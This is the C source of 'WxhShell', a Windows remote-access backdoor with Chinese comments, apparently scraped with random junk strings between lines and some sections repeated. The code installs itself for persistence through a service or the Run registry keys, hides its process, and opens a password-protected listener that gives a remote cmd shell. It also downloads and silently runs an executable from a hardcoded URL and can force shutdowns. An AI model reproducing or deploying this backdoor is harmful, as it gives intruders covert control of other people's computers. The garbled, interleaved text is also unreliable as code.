v0R ULONG UniqueProcessId; KtHkLYOCG ULONG InheritedFromUniqueProcessId; ]`M2Kwp } PROCESS_BASIC_INFORMATION; ygQe'S{!S\ pj7v{H + PROCNTQSIP NtQueryInformationProcess; 1:J+`mzpl z7TyS.z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t8`wO+4@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;*0?C'h= I{=Yuc HANDLE hProcess; -F MonM PROCESS_BASIC_INFORMATION pbi; fg4mP_ U*?`tdXJ$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zn[ppsz| if(NULL == hInst ) return 0; qQ8+gZG$R ABcB-V4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YLuf2ja}X g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ',/2J0_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }b/P\1#z Nnq1&j"m if (!NtQueryInformationProcess) return 0; iUk#hLLC zE~Xxp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o7@C$R_# if(!hProcess) return 0; PbsxjP n]i#&[*A( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mi[8O$^iJ !s:e CloseHandle(hProcess); 'xEK0~awD IhOAMH1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?:G 3U\M if(hProcess==NULL) return 0; buT6)~lw _n_()at) HMODULE hMod; ;a| ~YM2I char procName[255]; ck\W'Y*Q7 unsigned long cbNeeded; iu3L9UfL[ {8h[Bd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dT[JVl+3= pTXF^:8 CloseHandle(hProcess); 4u+0 )< uqLP$At if(strstr(procName,"services")) return 1; // 以服务启动 dCeLW Nd&UWk^ return 0; // 注册表启动 XK})?LTD
} Keem\/ ZJ.an%4 // 主模块 SMzq,?-` int StartWxhshell(LPSTR lpCmdLine) m xqY { <'N:K@Cs SOCKET wsl; </u=<^ire BOOL val=TRUE; *QV"o{V int port=0; ambr}+}
struct sockaddr_in door; z+- o}i %"eR0Lj+zq if(wscfg.ws_autoins) Install(); %D5F7wB e[s}tjx port=atoi(lpCmdLine); P-3f51 Q }
!y5hv!_ if(port<=0) port=wscfg.ws_port; LD1&8kJ*l Pc2!OQC'"" WSADATA data; @bJIN]R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^39lUKL : ^("L,AF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6)7cw8^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B(k tIy door.sin_family = AF_INET; @&Bh!_TWc door.sin_addr.s_addr = inet_addr("127.0.0.1"); E&eY79 door.sin_port = htons(port); ;j7G$s9 .6xMLo,R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m uy^>2p closesocket(wsl); Q$v00z]f* return 1; -J8Hsqf@ } ixSr*+ =*"8N-FU if(listen(wsl,2) == INVALID_SOCKET) { ]Yw$A closesocket(wsl); ts9wSx~[+ return 1; 8'%m! } t%%()!|)j Wxhshell(wsl); Q;g7<w17 WSACleanup(); IWq#W(yM JO+tY[q return 0; &T~X`{V]` 0Q`v#$?": } L!lmy&1 iER@_? // 以NT服务方式启动 tH44\~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >6HGh#0(p { ;RRw-|/Wm DWORD status = 0; zQG{j\ DWORD specificError = 0xfffffff; `Z8k#z'bN *=.~PR6W{ serviceStatus.dwServiceType = SERVICE_WIN32; 5af0- hj serviceStatus.dwCurrentState = SERVICE_START_PENDING; brs`R#e \ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ninWnQq serviceStatus.dwWin32ExitCode = 0; 7HBf^N. serviceStatus.dwServiceSpecificExitCode = 0; zh*D2/r serviceStatus.dwCheckPoint = 0; FK593z serviceStatus.dwWaitHint = 0; ?-vWNv 849,1n^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eqsmv[ if (hServiceStatusHandle==0) return; j~G(7t rpK&OR/ status = GetLastError(); RYjK4xT?Y/ if (status!=NO_ERROR) }b&lHr'Uw { ?VmgM"'md serviceStatus.dwCurrentState = SERVICE_STOPPED; oV0T
serviceStatus.dwCheckPoint = 0; 9K/EteS serviceStatus.dwWaitHint = 0; 2Y23!hw serviceStatus.dwWin32ExitCode = status; YnRO>` serviceStatus.dwServiceSpecificExitCode = specificError; "`V@?+3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); BB\GrD return; ]JYE#F } ,>h"~X ;Pt8\X serviceStatus.dwCurrentState = SERVICE_RUNNING; /HpM17
serviceStatus.dwCheckPoint = 0; Y=O+d\_W serviceStatus.dwWaitHint = 0; rR-[CT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q(nTL WW } q.`<q G
rp{
. // 处理NT服务事件,比如:启动、停止 C2"^YRN, VOID WINAPI NTServiceHandler(DWORD fdwControl) l|?tqCT ^h { Nw1*);b[y switch(fdwControl) 8 O9^g4? { +w^,!gA& case SERVICE_CONTROL_STOP: R~kO5jpW serviceStatus.dwWin32ExitCode = 0; ?$ e]K/* serviceStatus.dwCurrentState = SERVICE_STOPPED; in<.0v9w serviceStatus.dwCheckPoint = 0; t{jY@JT| serviceStatus.dwWaitHint = 0;
pE)NSZ { Ee2P]4_d SetServiceStatus(hServiceStatusHandle, &serviceStatus); "u!gfG?oH } dX cbS< return; QQ .?A(U7 case SERVICE_CONTROL_PAUSE: \ +%~7Bi]z serviceStatus.dwCurrentState = SERVICE_PAUSED; MmN{f~Kq9 break; #0aBQ+_8H case SERVICE_CONTROL_CONTINUE: eTvWkpK+ serviceStatus.dwCurrentState = SERVICE_RUNNING; ;+E]F8G9r break; '7sf)0\:<p case SERVICE_CONTROL_INTERROGATE: PJC(:R(j break; <-`.u` }; ,%*UF6B
M SetServiceStatus(hServiceStatusHandle, &serviceStatus); BX0lk } 1fS&KO{a >] 'oN // 标准应用程序主函数 {x_.QWe5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0N$7(. { UpG DLb f^ FT-.gi0 // 获取操作系统版本 id1cZig OsIsNt=GetOsVer(); l5{60$g GetModuleFileName(NULL,ExeFile,MAX_PATH); UrizZ5a 0]|`*f&p; // 从命令行安装 @F<{/|P if(strpbrk(lpCmdLine,"iI")) Install(); Wn(!6yid >0{}tRm-P& // 下载执行文件 F tIcA"^N if(wscfg.ws_downexe) { LUMbRrD- if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iAu/ t WinExec(wscfg.ws_filenam,SW_HIDE); O@T,!_Zf } q>2bkc GY# Z)`)9]* if(!OsIsNt) { Kq3c Kp4 // 如果时win9x,隐藏进程并且设置为注册表启动 \dtiv& x HideProc(); `|ie#L(:7/ StartWxhshell(lpCmdLine); _Hv+2E[4Z } Kd5'2"DI else wc;n=
% if(StartFromService()) ~Kw#^.$3T // 以服务方式启动 ~V8z%s@ StartServiceCtrlDispatcher(DispatchTable); aZ4EcQ@-$] else +)sX8zb*gY // 普通方式启动 lA5Dag' StartWxhshell(lpCmdLine); RhE~-b[X Ik0g(-d return 0; (?|M'gZ } p"ytt|H
p0@^1 ;t{q]"? W o6[.$C =========================================== )@N d3Z ZZT #V%Q=u kcCCa@~v ^HC6v;K 6eV#x%z@v' EnM " 'E_~|C
':vZ& #include <stdio.h> QhZg{v[d #include <string.h> 1#A$&'&\J; #include <windows.h> 53])@Mmus #include <winsock2.h> 7=CkZ&(? #include <winsvc.h> pmNy=ZXx #include <urlmon.h> t WI- AoS7B:T;! #pragma comment (lib, "Ws2_32.lib") >$4#G)s #pragma comment (lib, "urlmon.lib") FDz`U:8 HT;^u"a~ #define MAX_USER 100 // 最大客户端连接数 ]3_b3@k #define BUF_SOCK 200 // sock buffer Y,}_LS$f #define KEY_BUFF 255 // 输入 buffer Jl/w P =fcg4h5( #define REBOOT 0 // 重启 KxkBP/`3Q #define SHUTDOWN 1 // 关机 yq%5h[M u.GnXuax #define DEF_PORT 5000 // 监听端口 1r;zA<<%R *&NP?-E #define REG_LEN 16 // 注册表键长度 w 9dkJo #define SVC_LEN 80 // NT服务名长度 N[e,){v `6U!\D // 从dll定义API ` =>}*GS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M13HD/~O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VzP az\e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -'&/7e6>y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [;u#79aE MR#*/Iw~ // wxhshell配置信息 za_b jE struct WSCFG { ;+9OzF ; int ws_port; // 监听端口 sK}AS;: char ws_passstr[REG_LEN]; // 口令 Fv$tl)p* int ws_autoins; // 安装标记, 1=yes 0=no gQn%RPMh char ws_regname[REG_LEN]; // 注册表键名 :$WO"HfMSn char ws_svcname[REG_LEN]; // 服务名 w'
7sh5 char ws_svcdisp[SVC_LEN]; // 服务显示名 OIcXelS:@k char ws_svcdesc[SVC_LEN]; // 服务描述信息 <3;p>4gN char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n Nt28n@ int ws_downexe; // 下载执行标记, 1=yes 0=no
~non_pJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^D+J
k8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b:dN )m 6_j |@ }; 1MN! U2
*ORd // default Wxhshell configuration U+Y(: struct WSCFG wscfg={DEF_PORT, z#*.9/y\^R "xuhuanlingzhe", .xRdKt!p 1, y\?ey'o "Wxhshell", f"ezmZI "Wxhshell", n|i:4D "WxhShell Service", Rf:.'/<^ "Wrsky Windows CmdShell Service", #<*Vc6pC "Please Input Your Password: ", AC,RS7 1, -o ).< "http://www.wrsky.com/wxhshell.exe", FdU]!GO-X "Wxhshell.exe" ]\(8d[4 }; s4|\cY`b- 7r:h_r- // 消息定义模块 '~[8>Q> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vF72#BNs char *msg_ws_prompt="\n\r? for help\n\r#>"; kK? SG3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PYkhY;* char *msg_ws_ext="\n\rExit."; I|@+O# char *msg_ws_end="\n\rQuit."; /DQYlNa char *msg_ws_boot="\n\rReboot..."; Lljn\5!r< char *msg_ws_poff="\n\rShutdown..."; 6nx\|F char *msg_ws_down="\n\rSave to "; zHJCXTM =X$ ieXq| char *msg_ws_err="\n\rErr!"; owAO&"C char *msg_ws_ok="\n\rOK!"; }p)K6!J0 @oXGa>Ru char ExeFile[MAX_PATH]; D-gH_ff<]9 int nUser = 0; IG^@VQ% HANDLE handles[MAX_USER]; iGyetFqKw int OsIsNt; o<G 9t6~ }9fa]D-a? SERVICE_STATUS serviceStatus; /_C2O"h SERVICE_STATUS_HANDLE hServiceStatusHandle; =nEP:7~{ *6Wiq5M>. // 函数声明 (V{/8%mWc int Install(void); 8Y($ F2 int Uninstall(void); eADCT int DownloadFile(char *sURL, SOCKET wsh); 8w0~2-v.?V int Boot(int flag); (@?mm void HideProc(void); Rlq7.2cP int GetOsVer(void); |L2>|4 int Wxhshell(SOCKET wsl); SQodk:1) void TalkWithClient(void *cs); 384n1? int CmdShell(SOCKET sock); DH(<{ #u int StartFromService(void); FQZ*i\G>> int StartWxhshell(LPSTR lpCmdLine); R<|\Z@z ].d2C J' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @^,q/%; VOID WINAPI NTServiceHandler( DWORD fdwControl ); >ahDc!Jyu Y
;Ym=n' // 数据结构和表定义 Xaq;d' SERVICE_TABLE_ENTRY DispatchTable[] = hkMeUxS { 8!_jZ f8 {wscfg.ws_svcname, NTServiceMain}, gQnr. {NULL, NULL} 3jx%]S^z| }; t~Q9}+ r.C6`
a // 自我安装 +3v)@18B1 int Install(void) iN;Pg_Kq { xGd60"w2 char svExeFile[MAX_PATH]; RT[p!xL HKEY key; cx\"r strcpy(svExeFile,ExeFile); .;? Bni ]J7qsMw // 如果是win9x系统,修改注册表设为自启动 =KE7NXu]- if(!OsIsNt) { SuE~Wb5& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "zEl2Xn28_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R"nB4R0Uh RegCloseKey(key); g4?2'G5m? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oa[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %|-N{> wKy RegCloseKey(key); |XyX%5p* return 0; QPlU+5Cx } i<QDV
W9 } ptCF))Zm' } \:vF FK4a else { WogUILB c{q+h V= // 如果是NT以上系统,安装为系统服务 }Fe~XO` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BQu
|qrq if (schSCManager!=0) o[C^z7WG0 { O
NabL.CV SC_HANDLE schService = CreateService hx$]fvDevD ( J)|3jbX"I] schSCManager, Y>x{ [er wscfg.ws_svcname, @*;x1A-]V wscfg.ws_svcdisp, wkg4I. SERVICE_ALL_ACCESS, |#Gxqq' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -gn0@hS0 SERVICE_AUTO_START, 8Pn SERVICE_ERROR_NORMAL, +B? qx
Q svExeFile, g"-j/ c NULL, K@.5
NULL, Cfi{%,em NULL, nrEI0E9 NULL, _>gz& NULL ]ch=@IV ); Iiy5;:CX:q if (schService!=0) +){^HC\7h { l+ }=D@l CloseServiceHandle(schService); f:;-ZkIU ? CloseServiceHandle(schSCManager); *D]:{#C* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DV5hTw0 strcat(svExeFile,wscfg.ws_svcname); vs@d)$N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ETDWG_H | RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fNNl1Vls RegCloseKey(key); 0=ws )@[I return 0; o;8$#gyNY } Aztrq } .UK0bxoa CloseServiceHandle(schSCManager); O& Y;/$w } %ZVYgtk;* } WjVBz Qz(D1>5I? return 1; )*KMU? } j0l,1=^>l -]3 K#M)s // 自我卸载 (HNc9QVC'W int Uninstall(void) Mc,79Ix" { ,np=m17 HKEY key; 2Kxb(q" v93b8/1 if(!OsIsNt) { {&1L &f< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [S6u:;7 RegDeleteValue(key,wscfg.ws_regname); fUw:jExz RegCloseKey(key); "Q: Gd6?h; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x^s,<G RegDeleteValue(key,wscfg.ws_regname); Q 3WD!Z8y RegCloseKey(key); cU;Bm}U return 0; w2B)$u } wNa5qp
0 } =!TUf/O- } L>Y+}]~ else { C[FHqo9M?H Ym'h
vK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @A[)\E1 if (schSCManager!=0) %. 1/#{ { v
:pT(0N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P(T-2Ux6 if (schService!=0) Ca-"3aQkc { f2gtz{r if(DeleteService(schService)!=0) { Nl\`xl6y] CloseServiceHandle(schService); jg$qp%7i% CloseServiceHandle(schSCManager); 86#l$QaK{ return 0; 7L~*%j } :WB uU CloseServiceHandle(schService); '#Wx@ } V]zZb-m= CloseServiceHandle(schSCManager); XYU5. } b++r#Q
g } ,_V V;P BJ
UG<k return 1; :zL)O } ,{*g
Q%7 CW1l;uwtU // 从指定url下载文件 9p_?t'&>q int DownloadFile(char *sURL, SOCKET wsh) @a8lF$< { p4T$(]7 HRESULT hr; b0~r/M;J char seps[]= "/"; n/9afIN char *token; (T1< (YZ char *file; &2ED<%hH` char myURL[MAX_PATH]; Jv} char myFILE[MAX_PATH]; {!Qu(% ^4sfVpD2! strcpy(myURL,sURL); fD!c t; UK token=strtok(myURL,seps); M`Y^hDl 6 while(token!=NULL) Nj9A-*0g6N { FC0fe_U(F file=token; _c-3eQ1 token=strtok(NULL,seps); V.Hv6 } N,Y)'s< Zc7;&cz GetCurrentDirectory(MAX_PATH,myFILE); 7|}4UXr7y strcat(myFILE, "\\"); P@N+jS`Vf strcat(myFILE, file); / send(wsh,myFILE,strlen(myFILE),0); 9=j9vBV send(wsh,"...",3,0); \ eHOHHAGW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZSf &M if(hr==S_OK) ^50dF:V(1 return 0; TFXBN.?9T else xs= ~N return 1; 7I3_$uF CX]1I|T5 } rXB;#ypO qvn.uujYS // 系统电源模块 mCO1,? int Boot(int flag) ^s)`UZ<C= { Nbl&al@" HANDLE hToken; O3 sV) TOKEN_PRIVILEGES tkp; (?e%w} Ph3;;,v ' if(OsIsNt) { '| i?-(f) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0B.Gt&Oal LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sa g)}6+ tkp.PrivilegeCount = 1; U[wx){[| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bq/Aopfr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kj6:P$tH if(flag==REBOOT) { =E9\fRGU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YTTyMn return 0; %IsodtkDu }
0pE>O7 else { D:T]$<=9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i{^T;uAE return 0; wOAR NrPx2 } o/N!l]r } h'*v$lt else { gPd
K%"B@ if(flag==REBOOT) { wI@87& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @R&d<^I&M return 0; 'AA9F$Dz } atyvo0fNd else { =RB
{.% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n&[CTOV return 0; vPDw22L;' } ~i|6F~%3 } Znb={hh C]!2 return 1; 9q'&tU'a=c } v#,queGi x;~:p;]J2F // win9x进程隐藏模块 UWT%0t_T void HideProc(void) o]1BWwtY& { a7g;8t-& $INB_/RE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9nR\7!_ if ( hKernel != NULL ) .!3e$mhV { (%6fMVp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |nNcV~%~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sf?;j{?G FreeLibrary(hKernel); Vuz.b.,i` } R*r4)+gd UF+Qx/4h0 return; h%/BZC^L]| } Sgi`&;PF D?n6h\h\$% // 获取操作系统版本 <K0epED int GetOsVer(void) ?c#s}IH { -Q20af- OSVERSIONINFO winfo; 1'&.6{)P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z|t=t"6" GetVersionEx(&winfo); s+:|b~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SA TX_ return 1; ~P|;Y<?3 else ?~o`mg return 0; Ll]5u~ } CXq[VYM&X 81Z;hO"~ // 客户端句柄模块
f"s_dR int Wxhshell(SOCKET wsl) \]>YLyG { ~e}JqJ(97 SOCKET wsh; P)vD?)Q struct sockaddr_in client; N`W[Q>n DWORD myID; kyHli~Nr" Rzd`MIHDp while(nUser<MAX_USER) mi=mwN%UB { T8+[R2_ int nSize=sizeof(client); i.E2a) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %axr@o[ if(wsh==INVALID_SOCKET) return 1; x_Ev2
c'4 Ja6 KO2}p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6*Z7JiQ0 if(handles[nUser]==0) .lcp5D[( closesocket(wsh); t'eaR- else Wk[a|> nUser++; `vBBJ@f4) } Wj.t4XG! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QXb2jWz &l+Qn'N return 0; 0x<ASfka } JK2{9#* c,@Vz
7c // 关闭 socket ]^ R':YE void CloseIt(SOCKET wsh) Jj=qC{] { KZ 5%q. closesocket(wsh); }PI:O%N; nUser--; I0mp [6 ExitThread(0); W]po RTJ: } `0Udg,KOs o898pg // 客户端请求句柄 27!FB@k- void TalkWithClient(void *cs) v.]{b8RR { $5XAS Cfi4~ & SOCKET wsh=(SOCKET)cs; BdD]HXB|_ char pwd[SVC_LEN]; %r|sb=(yT char cmd[KEY_BUFF]; YYT;a$GTo char chr[1]; M86"J:\u] int i,j; p)SW(pS boojq{cvYA while (nUser < MAX_USER) { 3H,x4L5j `Abd=1nH if(wscfg.ws_passstr) { LGhK)]: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x'L=p01 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5len}){ //ZeroMemory(pwd,KEY_BUFF); @\?HlGWEf i=0; m.+h@ while(i<SVC_LEN) { jG1(Oe;# hNXZL>6 // 设置超时 *J4!+GD fd_set FdRead; KtaoOe struct timeval TimeOut; af|h4.A FD_ZERO(&FdRead); Ur+U#} FD_SET(wsh,&FdRead); Ae7FtJO TimeOut.tv_sec=8; ^Q#_ TimeOut.tv_usec=0; %2:UsI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^0zfQu+! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c+ZOC8R
?!Y_w2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z#}sK5s pwd=chr[0]; %UI^+:C if(chr[0]==0xd || chr[0]==0xa) { $q\"d?n pwd=0; fizW\f8ai break; & R_?6*n } 9Y3"V3EZ i++; qU#A,%kcV } ?;RY/[IX6 uqcG3Pi // 如果是非法用户,关闭 socket &MH8~LSb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O\Huj= } J=-z~\f56 ;87PP7~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k'8q/] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5$ik|e^:y u4hn9**a1 while(1) { o%'1=d3R1Q vN(~}gOd\ ZeroMemory(cmd,KEY_BUFF); 0m3hL~0(a I3>8B // 自动支持客户端 telnet标准 N'y<<tTA j=0; +2{ f>KZ while(j<KEY_BUFF) { rfonM~3?' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f:M^q ; cmd[j]=chr[0]; ,
>WH)+a if(chr[0]==0xa || chr[0]==0xd) { x:-NTW
-g cmd[j]=0; :Fhk$?/r break; h2'6W) } KH,f'` j++; w!"A$+~ } Y%/RGYKh 4
Y=0>FlY0 // 下载文件 ] !*K|?VL if(strstr(cmd,"http://")) { qeM DC#N send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,esEh5=Ir if(DownloadFile(cmd,wsh)) m%.4OXX"& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 80Y%C-Y: else x=H{Rv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:r
AWq } qcO~}MJr}^ else { &/[MWQ 29grb P switch(cmd[0]) { HKbV@NW IiniaVuQ // 帮助 <%.%q case '?': { te[uAJ1 N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ga|<S@u?} break; 4Yvz-aSyO } c9c]1XJ // 安装 #jBmWaP. case 'i': { HIw)HYF2 if(Install()) +FNGRL send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z4G%Ve[ else 1^^{;R7N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _v#puFy break; egs P\ ' } &PXT$x[i // 卸载 {*bx8*y1 case 'r': { UA'bE~i if(Uninstall()) o`,}b1lh send(wsh,msg_ws_err,strlen(msg_ws_err),0); *i*\dl else ^nZ=B>Yn2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nY MtK break; ]+`K\G ^X } TNh&g. // 显示 wxhshell 所在路径 V^tD@N case 'p': { k-&<_ghT \ char svExeFile[MAX_PATH]; 0(d!w*RpG strcpy(svExeFile,"\n\r"); *-*V>ntvT$ strcat(svExeFile,ExeFile); nZ=[6? send(wsh,svExeFile,strlen(svExeFile),0); >3g`6d break; hAUP#y@:H: } P4)Q5r // 重启 gm5%X'XL case 'b': { KRGj6g+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9.xb-m7 if(Boot(REBOOT)) `\:Ede send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(<>}
r else { <`-sS]=d} closesocket(wsh); o.Ww.F ExitThread(0); rZ,3:x-: } Uy=yA break; >7@,,~3 } #SHJ0+)o // 关机 /*gs] case 'd': { {QG6ldI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3KqRw (BK if(Boot(SHUTDOWN)) !DA4q3-U>> send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;R&valn else { cL .z{ closesocket(wsh); \<9aS Y'U ExitThread(0); W 8`6O2 } kt`ln break; tWl')^ } P_jav0j7g // 获取shell |{|B70v3Co case 's': { nv0D4 t CmdShell(wsh); 851BOkRal4 closesocket(wsh); q/w5Dx|: ExitThread(0); `dF~' break; 6|Dtx5
"r } [ {"x{; // 退出 y)LX?d case 'x': { _GY2|x2c send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3R$R?^G CloseIt(wsh); Hwd^C2v break; VO1 } }x$@j // 离开 B}NJs,'FJ case 'q': { ga KZ4# send(wsh,msg_ws_end,strlen(msg_ws_end),0); k"7ZA>5jk closesocket(wsh); CUTjRWQ WSACleanup(); M'|[:I.V exit(1); MZ0cZv$v!~ break; g#fn( A } D$KP>G } | J'k9W" } RpU i' Tn,_0 // 提示信息 8S#&XS>o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,;YNI } 3
u=\d)eq } ~%tVb c g_PP9S_? return; o
S{hv:)> } ekfa"X_
d8 ~%(I9 // shell模块句柄 r9-ayp#pC int CmdShell(SOCKET sock) 0zr%8Q(Q { 8T+o.w== STARTUPINFO si; A'}!'1 ZeroMemory(&si,sizeof(si)); V@RdvQy si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3P75:v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O|Vc PROCESS_INFORMATION ProcessInfo; D\ZH1C!d char cmdline[]="cmd"; Tw%1m CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z;u3G4XlF return 0; l`6.(6 } 5`}za- ,d!@5d&Zi // 自身启动模式 D0
q42+5 int StartFromService(void) F&CvqPI { 1bz^$2/k typedef struct 55`p~:&VQ { ( ,mV6U% DWORD ExitStatus; u"T9w]Z\ DWORD PebBaseAddress; <tO@dI$~> DWORD AffinityMask; 1DU
l<&4 DWORD BasePriority; GM8>u O ULONG UniqueProcessId; >'m&/&h ULONG InheritedFromUniqueProcessId; 9 M?UPE } PROCESS_BASIC_INFORMATION; 5D-as9k* *Vb#@O! PROCNTQSIP NtQueryInformationProcess; 2ZbSdaM= :%28*fl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jL)Y' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
5Uhxl^c 8.%wnH HANDLE hProcess; G.N` PROCESS_BASIC_INFORMATION pbi; f `b6E J iz [IK%K HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d@8:f if(NULL == hInst ) return 0; vN]_/T+ R:'&>.AUw g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,\\=f#c= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <)_#6)z: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Az(,Q$"|5 gDw(_KC if (!NtQueryInformationProcess) return 0; &_@M
